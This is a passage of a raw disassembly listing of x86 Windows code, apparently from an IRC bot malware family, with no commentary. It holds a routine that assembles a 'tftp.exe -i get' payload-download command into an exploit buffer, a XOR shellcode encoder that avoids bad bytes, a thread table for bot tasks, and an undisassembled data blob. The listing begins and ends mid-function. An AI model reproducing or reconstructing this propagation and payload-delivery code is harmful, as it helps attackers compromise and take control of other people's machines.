arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AFB
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_416AFB:				; CODE XREF: sub_416ADE+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_433B70, eax
		lea	eax, [edi+1]
		mov	dword_433B91, eax
		lea	eax, [edi+17h]
		mov	dword_433B89, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_433B0C
		push	ebx
		mov	dword_433B9F, eax
		call	sub_417390
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_417390
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_417390
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_417390
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_433B95
		push	esi
		call	sub_417390
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416BB6	proc near		; CODE XREF: sub_416BCD+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_416ABE
		push	eax
		call	sub_416C3A
		add	esp, 0Ch
		retn
sub_416BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BCD	proc near		; CODE XREF: sub_402B84+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_416BB6
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_416BED
		cmp	eax, 0FFFFh
		jbe	short loc_416BF1

loc_416BED:				; CODE XREF: sub_416BCD+17j
		xor	eax, eax
		jmp	short loc_416C36
; ---------------------------------------------------------------------------

loc_416BF1:				; CODE XREF: sub_416BCD+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_416ABE
		add	eax, 101h
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_416ABE
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_416ADE
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416C55
		push	esi
		mov	edi, eax
		call	sub_417C3B
		add	esp, 24h
		mov	eax, edi
		pop	esi

loc_416C36:				; CODE XREF: sub_416BCD+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_416BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C3A	proc near		; CODE XREF: sub_416BB6+Ep
					; sub_416C55+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_416C43
		inc	ecx

loc_416C43:				; CODE XREF: sub_416C3A+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_416C3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C55	proc near		; CODE XREF: sub_416BCD+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_416C71
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_416C74

loc_416C71:				; CODE XREF: sub_416C55+8j
					; sub_416C55+Ej ...
		inc	[ebp+arg_C]

loc_416C74:				; CODE XREF: sub_416C55+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_416C9C
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_416C95
		cmp	al, 0Dh
		jz	short loc_416C95
		cmp	al, 5Ch
		jz	short loc_416C95
		test	al, al
		jnz	short loc_416C9C

loc_416C95:				; CODE XREF: sub_416C55+32j
					; sub_416C55+36j ...
		add	[ebp+arg_C], 100h

loc_416C9C:				; CODE XREF: sub_416C55+28j
					; sub_416C55+3Ej
		push	[ebp+arg_C]
		call	sub_416C3A
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_416CB4
		cmp	eax, 0FFFFh
		jbe	short loc_416CBB

loc_416CB4:				; CODE XREF: sub_416C55+56j
		xor	eax, eax
		jmp	loc_416D59
; ---------------------------------------------------------------------------

loc_416CBB:				; CODE XREF: sub_416C55+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4CD988
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_416CEB

loc_416CCF:				; CODE XREF: sub_416C55+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_416CE2
		cmp	al, 0Ah
		jz	short loc_416CE2
		cmp	al, 0Dh
		jz	short loc_416CE2
		cmp	al, 5Ch
		jnz	short loc_416CE6

loc_416CE2:				; CODE XREF: sub_416C55+7Fj
					; sub_416C55+83j ...
		inc	bl
		xor	edx, edx

loc_416CE6:				; CODE XREF: sub_416C55+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_416CCF

loc_416CEB:				; CODE XREF: sub_416C55+78j
		cmp	ecx, esi
		mov	byte_4CD988, bl
		ja	short loc_416D17
		push	15h
		push	offset loc_433AF4
		push	[ebp+arg_0]
		mov	byte_433B01, cl
		mov	byte_433B05, bl
		call	sub_417390
		add	esp, 0Ch
		push	15h
		jmp	short loc_416D38
; ---------------------------------------------------------------------------

loc_416D17:				; CODE XREF: sub_416C55+9Ej
		push	17h
		push	offset loc_433ADC
		push	[ebp+arg_0]
		mov	word_433AEA, cx
		mov	byte_433AEF, bl
		call	sub_417390
		add	esp, 0Ch
		push	17h

loc_416D38:				; CODE XREF: sub_416C55+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_416D54
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]

loc_416D46:				; CODE XREF: sub_416C55+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_416D46

loc_416D54:				; CODE XREF: sub_416C55+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx

loc_416D59:				; CODE XREF: sub_416C55+61j
		pop	esi
		leave
		retn
sub_416C55	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D5C	proc near		; CODE XREF: sub_4060D0+227p
					; sub_407252+F0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4405F0

loc_416D64:				; CODE XREF: sub_416D5C+18j
		cmp	byte ptr [eax],	0
		jz	short loc_416D78
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CD5F0
		jl	short loc_416D64
		jmp	short loc_416DC3
; ---------------------------------------------------------------------------

loc_416D78:				; CODE XREF: sub_416D5C+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4405F0[esi]
		push	eax
		call	sub_418C10
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_4407F0[esi], eax
		and	dword_4407F4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_4407F8[esi], 0
		mov	dword_4407FC[esi], eax
		and	byte_440808[esi], 0
		pop	esi

loc_416DC3:				; CODE XREF: sub_416D5C+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_416D5C	endp

; ---------------------------------------------------------------------------
byte_416DC7	db 55h			; DATA XREF: sub_40EE72+5C01o
		dd 0EC81EC8Bh, 98h, 5608458Bh, 59266A57h, 0BD8DF08Bh, 0FFFFFF68h
		dd 75FFA5F3h, 9480C7F0h, 1000000h, 8D000000h, 0FFFF6C85h
		dd 0F475FFFFh, 68B5FF50h, 0E8FFFFFFh, 15h, 0E8EC75FFh
		dd 26Ch, 6A14C483h, 0BCE89000h,	5F021F94h, 0EC8B555Eh
		dd 200EC81h, 57560000h,	75FF006Ah, 3BD06810h, 75FF0043h
		dd 875FF0Ch, 0FF6840E8h, 14C483FFh, 0F0BEFF33h,	80004405h
		dd 3C74003Eh, 147D83h, 0BE830975h, 204h, 562D7500h, 858D57h
		dd 68FFFFFEh, 432550h, 446E850h, 16A0000h, 0FE00858Dh
		dd 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF67F8E8h, 24C483FFh
		dd 234C681h, 81470000h,	4CD5F0FEh, 5FB07C00h
; ---------------------------------------------------------------------------
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_416E97	proc near		; CODE XREF: sub_40EE72+4DD9p
					; sub_416F25+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_416F1F
		cmp	esi, 400h
		jge	short loc_416F1F
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_440804[esi]
		lea	edi, dword_440804[esi]
		nop
		call	near ptr 27D08DAh
		cmp	[edi], ebx
		jz	short loc_416ECF
		push	1
		pop	ebp

loc_416ECF:				; CODE XREF: sub_416E97+33j
		mov	[edi], ebx
		lea	edi, dword_4407F8[esi]
		mov	dword_4407F0[esi], ebx
		mov	dword_4407F4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_416EF0
		push	eax
		call	sub_415419
		pop	ecx

loc_416EF0:				; CODE XREF: sub_416E97+50j
		mov	[edi], ebx
		lea	edi, dword_4407FC[esi]
		mov	byte ptr dword_4405F0[esi], bl
		mov	byte_440808[esi], bl
		push	dword ptr [edi]
		call	dword_43AE30
		lea	esi, dword_440800[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43AE30
		mov	[esi], ebx
		pop	edi

loc_416F1F:				; CODE XREF: sub_416E97+Dj
					; sub_416E97+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_416E97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F25	proc near		; CODE XREF: sub_40AC42:loc_40AC66p
					; sub_40D3A5+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4405F0

loc_416F31:				; CODE XREF: sub_416F25+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_416F42
		push	edi
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F42
		inc	ebx

loc_416F42:				; CODE XREF: sub_416F25+Fj
					; sub_416F25+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CD5F0
		jl	short loc_416F31
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_416F25	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F57	proc near		; CODE XREF: sub_40EE72+1E3Dp
					; sub_40EE72+1EABp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4407F4

loc_416F6B:				; CODE XREF: sub_416F57+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_416F8D
		test	edi, edi
		jle	short loc_416F7F
		cmp	[esi], edi
		jz	short loc_416F7F
		cmp	ebx, edi
		jnz	short loc_416F8D

loc_416F7F:				; CODE XREF: sub_416F57+1Ej
					; sub_416F57+22j
		push	ebx
		call	sub_416E97
		test	eax, eax
		pop	ecx
		jz	short loc_416F8D
		inc	[ebp+var_4]

loc_416F8D:				; CODE XREF: sub_416F57+1Aj
					; sub_416F57+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CD7F4
		jl	short loc_416F6B
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416F57	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FA4	proc near		; CODE XREF: sub_4071DB+Bp
					; sub_407252+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_4407F0

loc_416FAB:				; CODE XREF: sub_416FA4+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_416FB4
		inc	eax

loc_416FB4:				; CODE XREF: sub_416FA4+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FAB
		retn
sub_416FA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416FC3	proc near		; CODE XREF: sub_40EE72+5698p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_4407F0

loc_416FCD:				; CODE XREF: sub_416FC3+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_416FE6
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CD7F0
		jl	short loc_416FCD
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_416FE6:				; CODE XREF: sub_416FC3+10j
		mov	eax, edx
		pop	esi
		retn
sub_416FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FEA	proc near		; CODE XREF: sub_40EE72+1070p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_417003
		push	[ebp+arg_1C]
		call	sub_41781F
		pop	ecx

loc_417003:				; CODE XREF: sub_416FEA+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_416F57
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41702F
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4172B0
		add	esp, 14h
		jmp	short loc_417049
; ---------------------------------------------------------------------------

loc_41702F:				; CODE XREF: sub_416FEA+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4172B0
		add	esp, 10h

loc_417049:				; CODE XREF: sub_416FEA+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_417069
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_417069:				; CODE XREF: sub_416FEA+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		pop	ecx
		leave
		retn
sub_416FEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417078	proc near		; CODE XREF: sub_401000+A5p
					; sub_40144A+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_440804[eax], ecx
		mov	dword_4407F0[eax], ecx
		mov	dword_4407F4[eax], ecx
		mov	dword_4407F8[eax], ecx
		mov	dword_4407FC[eax], ecx
		mov	dword_440800[eax], ecx
		mov	byte ptr dword_4405F0[eax], cl
		mov	byte_440808[eax], cl
		retn
sub_417078	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4170B5	proc near		; CODE XREF: sub_40EE72+6189p
					; sub_4171E3+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_4170BF:				; CODE XREF: sub_4170B5+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41711F
		cmp	eax, 1
		jnz	short loc_41711F
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41711F
		cmp	cl, 2Ah
		jz	short loc_417106
		cmp	cl, 3Fh
		jz	short loc_4170E9
		cmp	cl, 5Bh
		jz	short loc_4170EE
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_4170E9:				; CODE XREF: sub_4170B5+26j
		inc	[ebp+arg_4]
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_4170EE:				; CODE XREF: sub_4170B5+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_41714B
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417119
; ---------------------------------------------------------------------------

loc_417106:				; CODE XREF: sub_4170B5+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4171E3
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_417119:				; CODE XREF: sub_4170B5+37j
					; sub_4170B5+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4170BF
; ---------------------------------------------------------------------------

loc_41711F:				; CODE XREF: sub_4170B5+Ej
					; sub_4170B5+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41712F
		cmp	eax, 1
		jnz	short loc_417146
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41711F
; ---------------------------------------------------------------------------

loc_41712F:				; CODE XREF: sub_4170B5+6Dj
		cmp	eax, 1
		jnz	short loc_417146
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_417146
		cmp	byte ptr [esi],	0
		jnz	short loc_417146
		push	1
		pop	eax
		jmp	short loc_417148
; ---------------------------------------------------------------------------

loc_417146:				; CODE XREF: sub_4170B5+72j
					; sub_4170B5+7Dj ...
		xor	eax, eax

loc_417148:				; CODE XREF: sub_4170B5+8Fj
		pop	esi
		pop	ebp
		retn
sub_4170B5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41714B	proc near		; CODE XREF: sub_4170B5+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_41716C
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_41716C:				; CODE XREF: sub_41714B+19j
		push	ebx
		push	esi

loc_41716E:				; CODE XREF: sub_41714B+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_41717C
		cmp	[ebp+var_4], eax
		jnz	short loc_4171C8

loc_41717C:				; CODE XREF: sub_41714B+2Aj
		test	edi, edi
		jnz	short loc_4171BD
		cmp	bl, 2Dh
		jnz	short loc_4171B1
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4171B1
		cmp	al, 5Dh
		jz	short loc_4171B1
		cmp	[ebp+var_4], edi
		jnz	short loc_4171B1
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4171BD
		cmp	bl, al
		jg	short loc_4171BD
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4171BD
; ---------------------------------------------------------------------------

loc_4171B1:				; CODE XREF: sub_41714B+38j
					; sub_41714B+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4171BD
		push	1
		pop	edi

loc_4171BD:				; CODE XREF: sub_41714B+33j
					; sub_41714B+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41716E
; ---------------------------------------------------------------------------

loc_4171C8:				; CODE XREF: sub_41714B+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4171D5
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_4171D5:				; CODE XREF: sub_41714B+82j
		cmp	edi, eax
		jnz	short loc_4171DE
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_4171DE:				; CODE XREF: sub_41714B+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_41714B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171E3	proc near		; CODE XREF: sub_4170B5+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_4171FF:				; CODE XREF: sub_4171E3+3Aj
		cmp	[eax], bl
		jz	short loc_41721F
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_417214
		cmp	cl, 2Ah
		jnz	short loc_41721F
		cmp	cl, 3Fh
		jnz	short loc_417217

loc_417214:				; CODE XREF: sub_4171E3+25j
		inc	eax
		mov	[edi], eax

loc_417217:				; CODE XREF: sub_4171E3+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_4171FF
; ---------------------------------------------------------------------------

loc_41721F:				; CODE XREF: sub_4171E3+1Ej
					; sub_4171E3+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_41722A
		inc	dword ptr [esi]
		jmp	short loc_41721F
; ---------------------------------------------------------------------------

loc_41722A:				; CODE XREF: sub_4171E3+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_41724B
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_41723C
		xor	eax, eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41723C:				; CODE XREF: sub_4171E3+53j
		cmp	cl, bl
		jnz	short loc_41724B
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_41724B
		push	1
		pop	eax
		jmp	short loc_4172AB
; ---------------------------------------------------------------------------

loc_41724B:				; CODE XREF: sub_4171E3+4Dj
					; sub_4171E3+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417295

loc_417259:				; CODE XREF: sub_4171E3+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_41725D:				; CODE XREF: sub_4171E3+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_417275
		cmp	cl, 5Bh
		jz	short loc_417275
		cmp	dl, bl
		jz	short loc_417275
		inc	eax
		mov	[edi], eax
		jmp	short loc_41725D
; ---------------------------------------------------------------------------

loc_417275:				; CODE XREF: sub_4171E3+82j
					; sub_4171E3+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_41728C
		push	eax
		push	dword ptr [esi]
		call	sub_4170B5
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_417291
; ---------------------------------------------------------------------------

loc_41728C:				; CODE XREF: sub_4171E3+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_417291:				; CODE XREF: sub_4171E3+A7j
		cmp	eax, ebx
		jnz	short loc_417259

loc_417295:				; CODE XREF: sub_4171E3+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4172A8
		mov	[ebp+var_4], 1

loc_4172A8:				; CODE XREF: sub_4171E3+B6j
					; sub_4171E3+BCj
		mov	eax, [ebp+var_4]

loc_4172AB:				; CODE XREF: sub_4171E3+57j
					; sub_4171E3+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4171E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172B0	proc near		; CODE XREF: sub_401000+64p
					; sub_4010B5+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_4172F0
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_4172FD
; ---------------------------------------------------------------------------

loc_4172F0:				; CODE XREF: sub_4172B0+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_4172FD:				; CODE XREF: sub_4172B0+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4172B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417302	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401D82+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_433C20, eax
		retn
sub_417302	endp


; =============== S U B	R O U T	I N E =======================================



sub_41730C	proc near		; CODE XREF: sub_4010B5+CBp
					; sub_4010B5+13Fp ...
		mov	eax, dword_433C20
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_433C20, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41730C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417330	proc near		; CODE XREF: sub_4010B5+281p
					; sub_40144A+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_417383
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_417377
		neg	ecx
		and	ecx, 3
		jz	short loc_417359
		sub	edx, ecx

loc_417353:				; CODE XREF: sub_417330+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_417353

loc_417359:				; CODE XREF: sub_417330+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_417377
		rep stosd
		test	edx, edx
		jz	short loc_41737D

loc_417377:				; CODE XREF: sub_417330+18j
					; sub_417330+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_417377

loc_41737D:				; CODE XREF: sub_417330+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_417383:				; CODE XREF: sub_417330+Aj
		mov	eax, [esp+arg_0]
		retn
sub_417330	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417390	proc near		; CODE XREF: sub_4010B5+22Dp
					; sub_4010B5+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_39		= byte ptr  41h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
